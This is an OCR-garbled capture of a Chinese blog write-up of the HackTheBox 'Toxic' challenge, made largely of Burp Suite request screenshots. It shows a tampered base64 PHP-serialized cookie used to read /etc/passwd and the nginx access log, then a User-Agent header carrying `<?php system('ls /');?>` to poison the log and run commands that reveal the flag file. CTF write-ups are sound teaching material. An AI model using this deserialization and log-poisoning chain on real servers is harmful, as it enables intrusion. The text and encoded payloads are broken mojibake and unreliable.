hackthebox-Toxic writeup

gqg_40952713 T 2021-08-19 11:49:09 K A 663 Wi

VR BB AL

R ] SO E R ISR, 5. CC 4.0 BY-SA AN, e i iy b i SCH AL B AN AR 1
ASCHERE: https://blog.csdn.net/qq_40952713/article/details/119795157

FERAL

hackthebox-Toxic writeup
cookief# g
SR BUBR SRR

B Hnginx H & %
Fikflag

cookiefi# i


https://blog.csdn.net/qq_40952713
https://so.csdn.net/so/search/s.do?q=%25E6%25B8%2597%25E9%2580%258F%25E6%25B5%258B%25E8%25AF%2595&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E9%259D%25B6%25E6%259C%25BA&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_40952713/article/details/119795157

I3 HTIRACTY & Bl cookie & )AL BN B &t 7 44k 2 )G FHiE T base64 4w il i A= il 1

PageModel

setcookie(

base64_encode(serialize(

time()+60%68%24, |

= base64_decode(

unserialize( ) sdn.net/qg_4(

FHTHL 2] ¥ cookieidt 1Tbase b4 f# il

ntercept HTTP history WebSockets history Options
/ http://188.166.173.208:31090 i&X
| Rk 1 =R | | EEIER | | 175h '\ Open Browser

Pretty \n Actions v

1 GET / HTTPR/1.1

2 Host: 188.166.173.208:31090

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:90.0) Gecko/20100101
Firefox/90.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

6 Accept-Encoding: gzip, deflate

8

Connection: close
Conkip: PHPSESSTN=
|TzoSOiJQYWleWQkZWinjEEeSMENDoiZmlsZSITczoxNToiL3d3dy9pmeleC50dGlstt9
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10 Cache-Control: max-age=0
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1 GET / HTTPR/1.1
2 Host: 188.166.173.208:31090 Query Par:
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:90.0) Gecko/20100101

Firefox/90.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Body Paral
5 Accept-Language: zh-CN,en-US;qg=0.7,en;g=0.3
6 Accept-Encoding: gzip, deflate Request C
7 Connection: close
8 Cookie: PHPSESSID=

[T20501J0YWd1 TWIkZWwiO E6e 3M6NDoiamls %517 czoxMToiL2V0YyIwYXNzd201030=_ ] Request H

9 Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0
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188.166.173.208:31090/ +

O & 188.166.173.208

root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin Ip:x:4:7:Ip:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr
Nib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/shin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:
Isbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usrfcyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin
www:x:1000:1000:1000:/home/www:/bin/sh hginx:x: 100:101:nginx:/var/lib/nginx:/sbin/nologin |
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| Firefox/90.0
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Connection: close
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GET / HTTP/1.1

Host: 188.166.173.208:31090

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10.15
rv:90.0) Gecko/20100101 Firefox/90.0

Accept:
text/html,application/xhtml+xml,application/xml;qg=0.9,ima
e/webp,*/*%;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=
Tzo501JQ0YWd1ITWIkEZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pb
RleC50dG1lsIjt9

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0"
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) 1 GET / HTTP/1.1
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I 3|User-Agent: <?php system('ls /');?>
" ccept: tex ml,application/xhtml+xml,application/xml;g=0.9, image/webp,*/*;g=0.8 B
€4 Accept-Language: zh-CN,en-US;qg=0.7,en;q=0.3
9 5 Accept-Encoding: gzip, deflate
t & Connection: close R
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GET / HTTR/1.1
2 Host: 139.59.166.56:30093 Query
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.15; rv:90.0) Gecko/20100101
Firefox/90.0 B i
4 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;g=0.8 ody
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Tzo501J0YWd1TWIkZIWwiOJE6e3M6NDoiEmlsZSI7czoyNToiL3Zhei9sbhZ2evbmdpbngvY¥WNJZXNzLmxvEy
I7fQ==

9 Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0

12

HE S IPHPARE P AT f5, T B SO, R4 Nflag_57zcqil SC4F

139.59.166.56:30083/

"Mozlllafﬁ U (Macmtosh Intel Mac 08 X 10. 15 rv: 90 0} Gecko!20100101 FlrefoxIBO o" 139 59 166 56 200
"GET /static/images/ryan3.png HTTP/1.1" "http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS
X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET /static/images/ryan1.png HTTP/1.1"
"http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rnv:90.0) Gecko/20100101
Firefox/90.0" 139.59.166.56 - 200 "GET /static/images/ryand.png HTTP/1.1" "http://139.59.166.56:30093/"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200
"GET /static/images/favicon.ico HTTP/1.1" "http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS
X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET
[favicon.ico HTTP/1.1" "hitp://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac O3S X 10.15; rv:90.0)
Gecko/20100101 Firefox/90.0" 139.59.166.56 - 200 "GET / HTTP/1.1" "-" "bin dev entrypoint.sh etc flag_57zcq
home lib media mnt opt proc root run sbin srv sys tmp usr var www " 139.59.166.56 - 304 "GET /static/images




/dart-frog.jpg HTTP/1.1" "http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0)
Gecko/20100101 Firefox/90.0" 139.59.166.56 - 304 "GET /static/js/production.js HTTP/1.1"
"http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rnv:90.0) Gecko/20100101
Firefox/90.0" 139.59.166.56 - 304 "GET /static/images/ryand.png HTTP/1.1" "http://139.59.166.56:30093/"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 304
"GET /static/images/twitter.svg HTTP/1.1" "http://139.59.166.56:30093/" "Mozilla/5.0 (Macintosh; Intel Mac OS
X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0" 139.59.166.56 - 304 "GET /static/images/ryang.png HTTR/1.1"

rl T . W | Y 1 [P W | =Ty .. Sus ey~ 1 TP Rt PRV

B

£ http://139.59.166.56:30093 &K

|, Rk | | R | | EEIER | | 1750 | | Open Browser |
Preil; - ‘\n Actions v IN¢
GET / HTTP/1.1
2 Host: 139.59.166.56:30093 Qu
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:90.0) Gecko/20100101

Firefox/90.0 B
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8 C
Accept-Language: zh-CN,en-US;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate Re
Connection: close
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9 Upgrade-Insecure-Requests: 1

10 Cache-Control: max-age=0
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GET / HTTP/1.1

Host: 139.59.166.56:30093

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:90.0) Gecko/20100101
Firefox/90.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8 Body Parameter
Accept-Language: zh-CN,en-US;qg=0.7,en;g=0.3
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